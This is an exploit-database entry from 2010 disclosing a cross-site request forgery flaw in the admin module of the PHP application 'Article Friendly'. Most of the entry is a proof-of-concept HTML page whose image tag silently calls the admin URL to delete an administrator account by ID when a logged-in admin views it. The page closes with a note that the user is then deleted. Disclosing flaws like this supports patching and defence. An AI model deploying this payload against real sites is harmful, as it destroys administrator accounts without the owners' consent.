Article Friendly CSRF Vulnerability

2010-02-24T00:00:00
ID 1337DAY-ID-11056
Type zdt
Reporter Pratul Agrawal
Modified 2010-02-24T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===================================
Article Friendly CSRF Vulnerability
===================================

 # Vulnerability found in- Admin module
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal
  
  # Site p4ge     http://www.articlefriendly.com/
  
  # Plateform     php
  
   
   
  # Proof of concept   #
 
  Targeted URL:  http://server/admin/index.php?filename=adminlogin
  
 
  Script to delete the Admin user through Cross Site request forgery
  
             .  ..................................................................................................................
  
                        <html>
  
                          <body>
  
      <img src=http://server/admin/index.php?filename=adminuser&a=3&adminid=[USER ID] />
  
                          </body>
  
                        </html>
  
  
             .  ..................................................................................................................
  
  
  
  After execution refresh the page and u can see that user having giving ID  get deleted automatically.
 
 
#If you have any questions, comments, or concerns, feel free to contact me.



#  0day.today [2018-04-14]  #